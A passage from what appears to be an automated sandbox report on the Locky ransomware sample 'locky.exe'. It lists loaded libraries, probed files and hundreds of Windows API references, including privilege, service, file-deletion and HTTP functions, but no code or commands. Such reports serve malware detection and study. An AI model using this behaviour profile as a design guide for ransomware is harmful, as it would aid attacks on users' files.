00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter MPR.dll (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter NETAPI32.dll (UID: 00000000-00008908) "locky.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00008908)35:T634,".exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" ".exe" trying to access non-existent file "C:\49A48D4FF1B7973E55D5838F20107620ED808851231256BB94C85F6C80B8EBFC.EXE.LOCAL" ".exe" trying to access non-existent file "C:\WINHTTP.DLL" ".exe" trying to access non-existent file "C:\MSIMG32.DLL" ".exe" trying to access non-existent file "C:\VERSION.DLL" ".exe" trying to access non-existent file "C:\IPHLPAPI.DLL" ".exe" trying to access non-existent file "C:\OLEDLG.DLL" ".exe" trying to access non-existent file "C:\WTSAPI32.DLL" ".exe" trying to access non-existent file "C:\USERENV.DLL" ".exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" ".exe" trying to access non-existent file "C:\FLTLIB.DLL" ".exe" trying to access non-existent file "C:\0X64BC6D21.D" ".exe" trying to access non-existent file "C:\0x64bc6d21.d" ".exe" trying to access non-existent file "C:\Windows\SysWOW64\0X64BC6D21.D" ".exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\0x64bc6d21.d" ".exe" trying to access non-existent file "C:\Windows\System\0X64BC6D21.D" ".exe" trying to access non-existent file "C:\WINDOWS\system\0x64bc6d21.d" ".exe" trying to access non-existent file "C:\Windows\0X64BC6D21.D" ".exe" trying to access non-existent file "C:\WINDOWS\0x64bc6d21.d"36:Taa19,Found reference to API (Indicator: "RegCreateKeyExW"; File: "locky.exe") Found reference to API (Indicator: "RegCloseKey"; File: "locky.exe") Found reference to API (Indicator: "SetEntriesInAclW"; File: "locky.exe") Found reference to API (Indicator: "OpenServiceW"; File: "locky.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "locky.exe") Found reference to API (Indicator: "ControlService"; File: "locky.exe") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "locky.exe") Found reference to API (Indicator: "RegDeleteKeyW"; File: "locky.exe") Found reference to API (Indicator: "DeleteService"; File: "locky.exe") Found reference to API (Indicator: "RegQueryValueExW"; File: "locky.exe") Found reference to API (Indicator: "CloseServiceHandle"; File: "locky.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "locky.exe") Found reference to API (Indicator: "QueryServiceStatus"; File: "locky.exe") Found reference to API (Indicator: "RegOpenKeyExW"; File: "locky.exe") Found reference to API (Indicator: "SetTokenInformation"; File: "locky.exe") Found reference to API (Indicator: "CreateServiceW"; File: "locky.exe") Found reference to API (Indicator: "DuplicateTokenEx"; File: "locky.exe") Found reference to API (Indicator: "GetNamedSecurityInfoW"; File: "locky.exe") Found reference to API (Indicator: "RegQueryInfoKeyW"; File: "locky.exe") Found reference to API (Indicator: "RegEnumKeyExW"; File: "locky.exe") Found reference to API (Indicator: "CreateProcessAsUserW"; File: "locky.exe") Found reference to API (Indicator: "RegDeleteValueW"; File: "locky.exe") Found reference to API (Indicator: "RevertToSelf"; File: "locky.exe") Found reference to API (Indicator: "StartServiceW"; File: "locky.exe") Found reference to API (Indicator: "RegSetValueExW"; File: "locky.exe") Found reference to API (Indicator: "FreeSid"; File: "locky.exe") Found reference to API (Indicator: "OpenSCManagerW"; File: "locky.exe") Found reference to API (Indicator: "RegEnumValueW"; File: "locky.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "locky.exe") Found reference to API (Indicator: "SetNamedSecurityInfoW"; File: "locky.exe") Found reference to API (Indicator: "DeleteDC"; File: "locky.exe") Found reference to API (Indicator: "SelectObject"; File: "locky.exe") Found reference to API (Indicator: "CreateCompatibleDC"; File: "locky.exe") Found reference to API (Indicator: "DeleteObject"; File: "locky.exe") Found reference to API (Indicator: "CreateCompatibleBitmap"; File: "locky.exe") Found reference to API (Indicator: "GetIpForwardTable"; File: "locky.exe") Found reference to API (Indicator: "GetStdHandle"; File: "locky.exe") Found reference to API (Indicator: "GetDriveTypeW"; File: "locky.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "locky.exe") Found reference to API (Indicator: "SetEvent"; File: "locky.exe") Found reference to API (Indicator: "HeapAlloc"; File: "locky.exe") Found reference to API (Indicator: "GetPrivateProfileSectionNamesW"; File: "locky.exe") Found reference to API (Indicator: "GetFileAttributesW"; File: "locky.exe") Found reference to API (Indicator: "GetLocalTime"; File: "locky.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "locky.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "locky.exe") Found reference to API (Indicator: "OpenFileMappingW"; File: "locky.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "locky.exe") Found reference to API (Indicator: "GetLocaleInfoA"; File: "locky.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "locky.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "locky.exe") Found reference to API (Indicator: "GetLogicalDrives"; File: "locky.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "locky.exe") Found reference to API (Indicator: "GetLocaleInfoW"; File: "locky.exe") Found reference to API (Indicator: "SetStdHandle"; File: "locky.exe") Found reference to API (Indicator: "GetCPInfo"; File: "locky.exe") Found reference to API (Indicator: "GetStringTypeA"; File: "locky.exe") Found reference to API (Indicator: "InterlockedExchange"; File: "locky.exe") Found reference to API (Indicator: "FindResourceExW"; File: "locky.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "locky.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "locky.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "locky.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "locky.exe") Found reference to API (Indicator: "GetOEMCP"; File: "locky.exe") Found reference to API (Indicator: "LocalFree"; File: "locky.exe") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "locky.exe") Found reference to API (Indicator: "LoadResource"; File: "locky.exe") Found reference to API (Indicator: "HeapDestroy"; File: "locky.exe") Found reference to API (Indicator: "Process32FirstW"; File: "locky.exe") Found reference to API (Indicator: "VirtualQueryEx"; File: "locky.exe") Found reference to API (Indicator: "WritePrivateProfileStringW"; File: "locky.exe") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "locky.exe") Found reference to API (Indicator: "SetLastError"; File: "locky.exe") Found reference to API (Indicator: "DeviceIoControl"; File: "locky.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "locky.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "locky.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "locky.exe") Found reference to API (Indicator: "ExitProcess"; File: "locky.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "locky.exe") Found reference to API (Indicator: "lstrcmpiW"; File: "locky.exe") Found reference to API (Indicator: "EnumSystemLocalesA"; File: "locky.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "locky.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "locky.exe") Found reference to API (Indicator: "GetVolumeInformationW"; File: "locky.exe") Found reference to API (Indicator: "InterlockedDecrement"; File: "locky.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "locky.exe") Found reference to API (Indicator: "FatalAppExitA"; File: "locky.exe") Found reference to API (Indicator: "FlushInstructionCache"; File: "locky.exe") Found reference to API (Indicator: "GetPrivateProfileStringW"; File: "locky.exe") Found reference to API (Indicator: "SetFilePointer"; File: "locky.exe") Found reference to API (Indicator: "GlobalAddAtomW"; File: "locky.exe") Found reference to API (Indicator: "CreateThread"; File: "locky.exe") Found reference to API (Indicator: "MoveFileExW"; File: "locky.exe") Found reference to API (Indicator: "GlobalAddAtomA"; File: "locky.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "locky.exe") Found reference to API (Indicator: "CreateMutexW"; File: "locky.exe") Found reference to API (Indicator: "ReadFile"; File: "locky.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "locky.exe") Found reference to API (Indicator: "ExitThread"; File: "locky.exe") Found reference to API (Indicator: "SetEnvironmentVariableA"; File: "locky.exe") Found reference to API (Indicator: "GlobalMemoryStatus"; File: "locky.exe") Found reference to API (Indicator: "WriteConsoleA"; File: "locky.exe") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "locky.exe") Found reference to API (Indicator: "SetEndOfFile"; File: "locky.exe") Found reference to API (Indicator: "GetVersion"; File: "locky.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "locky.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "locky.exe") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "locky.exe") Found reference to API (Indicator: "AreFileApisANSI"; File: "locky.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "locky.exe") Found reference to API (Indicator: "HeapFree"; File: "locky.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "locky.exe") Found reference to API (Indicator: "SetHandleCount"; File: "locky.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "locky.exe") Found reference to API (Indicator: "OpenThread"; File: "locky.exe") Found reference to API (Indicator: "GetVersionExW"; File: "locky.exe") Found reference to API (Indicator: "FreeLibrary"; File: "locky.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "locky.exe") Found reference to API (Indicator: "GetTickCount"; File: "locky.exe") Found reference to API (Indicator: "TlsAlloc"; File: "locky.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "locky.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "locky.exe") Found reference to API (Indicator: "RtlUnwind"; File: "locky.exe") Found reference to API (Indicator: "GetStartupInfoA"; File: "locky.exe") Found reference to API (Indicator: "GetDateFormatA"; File: "locky.exe") Found reference to API (Indicator: "GetFileSize"; File: "locky.exe") Found reference to API (Indicator: "OpenProcess"; File: "locky.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "locky.exe") Found reference to API (Indicator: "ReadProcessMemory"; File: "locky.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "locky.exe") Found reference to API (Indicator: "DeleteFileW"; File: "locky.exe") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "locky.exe") Found reference to API (Indicator: "GetPrivateProfileIntW"; File: "locky.exe") Found reference to API (Indicator: "AddAtomW"; File: "locky.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "locky.exe") Found reference to API (Indicator: "GetTempFileNameW"; File: "locky.exe") Found reference to API (Indicator: "CreateFileMappingW"; File: "locky.exe") Found reference to API (Indicator: "CompareStringW"; File: "locky.exe") Found reference to API (Indicator: "WriteFile"; File: "locky.exe") Found reference to API (Indicator: "GetFileSizeEx"; File: "locky.exe") Found reference to API (Indicator: "RemoveDirectoryW"; File: "locky.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "locky.exe") Found reference to API (Indicator: "FindNextFileW"; File: "locky.exe") Found reference to API (Indicator: "GetTimeFormatA"; File: "locky.exe") Found reference to API (Indicator: "FindFirstFileW"; File: "locky.exe") Found reference to API (Indicator: "IsValidLocale"; File: "locky.exe") Found reference to API (Indicator: "GetProcAddress"; File: "locky.exe") Found reference to API (Indicator: "GetPrivateProfileSectionW"; File: "locky.exe") Found reference to API (Indicator: "CreateEventW"; File: "locky.exe") Found reference to API (Indicator: "CreateFileW"; File: "locky.exe") Found reference to API (Indicator: "VirtualProtectEx"; File: "locky.exe") Found reference to API (Indicator: "GetFileType"; File: "locky.exe") Found reference to API (Indicator: "TlsSetValue"; File: "locky.exe") Found reference to API (Indicator: "CreateFileA"; File: "locky.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "locky.exe") Found reference to API (Indicator: "InterlockedIncrement"; File: "locky.exe") Found reference to API (Indicator: "GetLastError"; File: "locky.exe") Found reference to API (Indicator: "SystemTimeToFileTime"; File: "locky.exe") Found reference to API (Indicator: "LCMapStringW"; File: "locky.exe") Found reference to API (Indicator: "UnmapViewOfFile"; File: "locky.exe") Found reference to API (Indicator: "lstrlenA"; File: "locky.exe") Found reference to API (Indicator: "GetConsoleCP"; File: "locky.exe") Found reference to API (Indicator: "FindResourceW"; File: "locky.exe") Found reference to API (Indicator: "LCMapStringA"; File: "locky.exe") Found reference to API (Indicator: "OpenWaitableTimerW"; File: "locky.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "locky.exe") Found reference to API (Indicator: "lstrlenW"; File: "locky.exe") Found reference to API (Indicator: "Process32NextW"; File: "locky.exe") Found reference to API (Indicator: "VirtualFree"; File: "locky.exe") Found reference to API (Indicator: "CancelWaitableTimer"; File: "locky.exe") Found reference to API (Indicator: "Module32FirstW"; File: "locky.exe") Found reference to API (Indicator: "SizeofResource"; File: "locky.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "locky.exe") Found reference to API (Indicator: "LockResource"; File: "locky.exe") Found reference to API (Indicator: "ProcessIdToSessionId"; File: "locky.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "locky.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "locky.exe") Found reference to API (Indicator: "HeapSize"; File: "locky.exe") Found reference to API (Indicator: "InterlockedCompareExchange"; File: "locky.exe") Found reference to API (Indicator: "CancelIo"; File: "locky.exe") Found reference to API (Indicator: "GetCurrentThread"; File: "locky.exe") Found reference to API (Indicator: "RaiseException"; File: "locky.exe") Found reference to API (Indicator: "MapViewOfFile"; File: "locky.exe") Found reference to API (Indicator: "TlsFree"; File: "locky.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "locky.exe") Found reference to API (Indicator: "Module32NextW"; File: "locky.exe") Found reference to API (Indicator: "CloseHandle"; File: "locky.exe") Found reference to API (Indicator: "GetACP"; File: "locky.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "locky.exe") Found reference to API (Indicator: "OpenWaitableTimerA"; File: "locky.exe") Found reference to API (Indicator: "TlsGetValue"; File: "locky.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "locky.exe") Found reference to API (Indicator: "HeapCreate"; File: "locky.exe") Found reference to API (Indicator: "GetTempPathW"; File: "locky.exe") Found reference to API (Indicator: "CreateProcessW"; File: "locky.exe") Found reference to API (Indicator: "Sleep"; File: "locky.exe") Found reference to API (Indicator: "TerminateProcess"; File: "locky.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "locky.exe") Found reference to API (Indicator: "CompareStringA"; File: "locky.exe") Found reference to API (Indicator: "VariantChangeType"; File: "locky.exe") Found reference to API (Indicator: "SysStringLen"; File: "locky.exe") Found reference to API (Indicator: "VariantClear"; File: "locky.exe") Found reference to API (Indicator: "SysAllocString"; File: "locky.exe") Found reference to API (Indicator: "VariantInit"; File: "locky.exe") Found reference to API (Indicator: "GetErrorInfo"; File: "locky.exe") Found reference to API (Indicator: "SysFreeString"; File: "locky.exe") Found reference to API (Indicator: "GetProcessMemoryInfo"; File: "locky.exe") Found reference to API (Indicator: "GetModuleFileNameExW"; File: "locky.exe") Found reference to API (Indicator: "SHFileOperationW"; File: "locky.exe") Found reference to API (Indicator: "SHGetSpecialFolderPathW"; File: "locky.exe") Found reference to API (Indicator: "SHGetMalloc"; File: "locky.exe") Found reference to API (Indicator: "PathStripPathW"; File: "locky.exe") Found reference to API (Indicator: "SHDeleteKeyW"; File: "locky.exe") Found reference to API (Indicator: "PathFindFileNameW"; File: "locky.exe") Found reference to API (Indicator: "PathFileExistsW"; File: "locky.exe") Found reference to API (Indicator: "PathRemoveFileSpecW"; File: "locky.exe") Found reference to API (Indicator: "StrStrIW"; File: "locky.exe") Found reference to API (Indicator: "PathAppendW"; File: "locky.exe") Found reference to API (Indicator: "PathFindExtensionW"; File: "locky.exe") Found reference to API (Indicator: "PathIsDirectoryW"; File: "locky.exe") Found reference to API (Indicator: "PathRemoveExtensionW"; File: "locky.exe") Found reference to API (Indicator: "MapWindowPoints"; File: "locky.exe") Found reference to API (Indicator: "SetFocus"; File: "locky.exe") Found reference to API (Indicator: "GetForegroundWindow"; File: "locky.exe") Found reference to API (Indicator: "GetParent"; File: "locky.exe") Found reference to API (Indicator: "LoadIconA"; File: "locky.exe") Found reference to API (Indicator: "PostQuitMessage"; File: "locky.exe") Found reference to API (Indicator: "EnumWindows"; File: "locky.exe") Found reference to API (Indicator: "DefWindowProcW"; File: "locky.exe") Found reference to API (Indicator: "wsprintfW"; File: "locky.exe") Found reference to API (Indicator: "KillTimer"; File: "locky.exe") Found reference to API (Indicator: "DestroyMenu"; File: "locky.exe") Found reference to API (Indicator: "ShowWindow"; File: "locky.exe") Found reference to API (Indicator: "MessageBeep"; File: "locky.exe") Found reference to API (Indicator: "LoadMenuW"; File: "locky.exe") Found reference to API (Indicator: "SetWindowPos"; File: "locky.exe") Found reference to API (Indicator: "RemoveMenu"; File: "locky.exe") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "locky.exe") Found reference to API (Indicator: "SetCursor"; File: "locky.exe") Found reference to API (Indicator: "IsWindow"; File: "locky.exe") Found reference to API (Indicator: "PeekMessageW"; File: "locky.exe") Found reference to API (Indicator: "GetWindowRect"; File: "locky.exe") Found reference to API (Indicator: "UnregisterClassA"; File: "locky.exe") Found reference to API (Indicator: "EnumChildWindows"; File: "locky.exe") Found reference to API (Indicator: "AppendMenuW"; File: "locky.exe") Found reference to API (Indicator: "GetWindowDC"; File: "locky.exe") Found reference to API (Indicator: "DestroyCursor"; File: "locky.exe") Found reference to API (Indicator: "TranslateMessage"; File: "locky.exe") Found reference to API (Indicator: "GetWindow"; File: "locky.exe") Found reference to API (Indicator: "CharUpperA"; File: "locky.exe") Found reference to API (Indicator: "DispatchMessageW"; File: "locky.exe") Found reference to API (Indicator: "GetCursorPos"; File: "locky.exe") Found reference to API (Indicator: "ReleaseDC"; File: "locky.exe") Found reference to API (Indicator: "UpdateLayeredWindow"; File: "locky.exe") Found reference to API (Indicator: "CreatePopupMenu"; File: "locky.exe") Found reference to API (Indicator: "LoadStringA"; File: "locky.exe") Found reference to API (Indicator: "TranslateAcceleratorW"; File: "locky.exe") Found reference to API (Indicator: "PtInRect"; File: "locky.exe") Found reference to API (Indicator: "IsWindowVisible"; File: "locky.exe") Found reference to API (Indicator: "LoadStringW"; File: "locky.exe") Found reference to API (Indicator: "GetClientRect"; File: "locky.exe") Found reference to API (Indicator: "LoadImageW"; File: "locky.exe") Found reference to API (Indicator: "ScreenToClient"; File: "locky.exe") Found reference to API (Indicator: "InvalidateRect"; File: "locky.exe") Found reference to API (Indicator: "SetTimer"; File: "locky.exe") Found reference to API (Indicator: "GetMenuItemCount"; File: "locky.exe") Found reference to API (Indicator: "SetWindowTextW"; File: "locky.exe") Found reference to API (Indicator: "GetWindowTextW"; File: "locky.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "locky.exe") Found reference to API (Indicator: "LoadCursorW"; File: "locky.exe") Found reference to API (Indicator: "GetFocus"; File: "locky.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "locky.exe") Found reference to API (Indicator: "CharNextW"; File: "locky.exe") Found reference to API (Indicator: "TrackPopupMenuEx"; File: "locky.exe") Found reference to API (Indicator: "GetMenuItemInfoW"; File: "locky.exe") Found reference to API (Indicator: "CreateEnvironmentBlock"; File: "locky.exe") Found reference to API (Indicator: "DestroyEnvironmentBlock"; File: "locky.exe") Found reference to API (Indicator: "VerQueryValueW"; File: "locky.exe") Found reference to API (Indicator: "GetFileVersionInfoW"; File: "locky.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; File: "locky.exe") Found reference to API (Indicator: "WinHttpSetOption"; File: "locky.exe") Found reference to API (Indicator: "WinHttpConnect"; File: "locky.exe") Found reference to API (Indicator: "WinHttpQueryHeaders"; File: "locky.exe") Found reference to API (Indicator: "WinHttpReadData"; File: "locky.exe") Found reference to API (Indicator: "WinHttpCloseHandle"; File: "locky.exe") Found reference to API (Indicator: "WinHttpReceiveResponse"; File: "locky.exe") Found reference to API (Indicator: "WinHttpOpen"; File: "locky.exe") Found reference to API (Indicator: "WinHttpOpenRequest"; File: "locky.exe") Found reference to API (Indicator: "WinHttpSendRequest"; File: "locky.exe") Found reference to API (Indicator: "WTSEnumerateSessionsW"; File: "locky.exe") Found reference to API (Indicator: "WTSFreeMemory"; File: "locky.exe") Found reference to API (Indicator: "CoUninitialize"; File: "locky.exe") Found reference to API (Indicator: "CoInitialize"; File: "locky.exe") Found reference to API (Indicator: "CoTaskMemAlloc"; File: "locky.exe") Found reference to API (Indicator: "CoCreateGuid"; File: "locky.exe") Found reference to API (Indicator: "CoTaskMemRealloc"; File: "locky.exe") Found reference to API (Indicator: "CoCreateInstance"; File: "locky.exe") Found reference to API (Indicator: "CoInitializeSecurity"; File: "locky.exe") Found reference to API (Indicator: "CoTaskMemFree"; File: "locky.exe") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp, 00000000-00008908.00000001.334926.02190000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "NtQueryVirtualMemory"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp, 00000000-00008908.00000001.334926.02190000.00000040.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp, 00000000-00008908.00000001.334926.02190000.00000040.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "MoveFileExW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLangID"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp, 00000000-00008908.00000001.334926.02190000.00000040.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp, 00000000-00008908.00000001.334926.02190000.00000040.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeNameForVolumeMountPointA"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTime"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetLogicalDrives"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "FillRect"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "FrameRect"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "SystemParametersInfoW"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00008908.00000001.334926.00412000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: 